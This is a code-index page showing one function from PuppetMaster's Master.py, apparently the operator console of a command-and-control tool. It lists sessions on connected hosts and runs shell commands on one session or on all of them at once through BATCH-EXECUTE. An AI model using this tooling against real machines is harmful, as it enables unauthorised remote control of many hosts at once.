MCPcopy Index your code
hub / github.com/R4be1/PuppetMaster / MasterConsole

Function MasterConsole

Master.py:243–342  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

241MasterPrompt = "\033[1;4;37mMaster\033[0m > "
242ConsolePrompt = "\033[1;4;37mMaster\033[0m > "
243async def MasterConsole():
244 while True:
245 #Python 3.7 3.8
246 #print(ConsolePrompt, end="")
247 #console_cmd = await asyncio.get_running_loop().run_in_executor(None, input)
248
249 #Python 3.9 3.10 3.11 ......
250 if Puppet_Master.current_session:
251 ConsolePrompt = f"(\033[1;4;34m{Puppet_Master.current_session['hash'][:8]}\033[0m) > "
252 else:
253 ConsolePrompt = MasterPrompt
254 console_cmd = await asyncio.to_thread(input, ConsolePrompt)
255 console_cmd = console_cmd.strip()
256
257 if console_cmd == "exit":
258 for handler in Puppet_Master.handlers:
259 handler.close()
260 break
261
262 elif console_cmd.split() and console_cmd.split()[0] == "sessions" :
263 print(
264 "Sessions {}".format(len(Puppet_Master.sessions)).ljust(32," ") + " " +
265 "Hostname".ljust(20," ") + " " +
266 "Username".ljust(8," ") + " " +
267 "CPU "
268 )
269 print(
270 "="*32 + " " +
271 "="*20 + " " +
272 "="*8 + " " +
273 "="*3 + " "
274 )
275 for session in Puppet_Master.sessions:
276 print(f"\033[1;37m{session['hash']}\033[0m {session['hostname'].ljust(20,' ')} {session['username'].ljust(8,' ')} {session['core'].ljust(3,' ')} {session['sockname']} -> {session['peername'].ljust(21,' ')} {session['inittime']} {session['org']} ")
277
278 elif console_cmd.split() and console_cmd.split()[0] == "listerner":
279 print()
280
281 elif console_cmd.split() and console_cmd.split()[0] == "execute" :
282 if Puppet_Master.current_session or "-i" in console_cmd.split():
283 #备注:需要优先处理-i后的会话,暂未实现
284 if "-c" in console_cmd.split():
285 execute_cmd = console_cmd.split()[console_cmd.split().index("-c") +1]
286
287 elif len(console_cmd.split()) > 1 :
288 execute_cmd = " ".join( console_cmd.split()[console_cmd.split().index("execute")+1:] )
289
290 execute_result = await Puppet_Master.execute_cmd( execute_cmd )
291
292 elif console_cmd.split() and console_cmd.split()[0] == "BATCH-EXECUTE" :
293 if len(console_cmd.split()) > 1 :
294 execute_cmd = " ".join( console_cmd.split()[console_cmd.split().index("BATCH-EXECUTE")+1:] )
295
296 for session in Puppet_Master.sessions:
297 Puppet_Master.current_session = Puppet_Master.sessions[Puppet_Master.sessions.index(session)]
298 execute_result = await Puppet_Master.execute_cmd( execute_cmd )
299 PrintInfo( f"{Puppet_Master.current_session['hash']} {Puppet_Master.current_session['peername']} {Puppet_Master.current_session['org']} Executed." )
300

Callers 1

mainFunction · 0.85

Calls 2

PrintInfoFunction · 0.85
execute_cmdMethod · 0.80

Tested by

no test coverage detected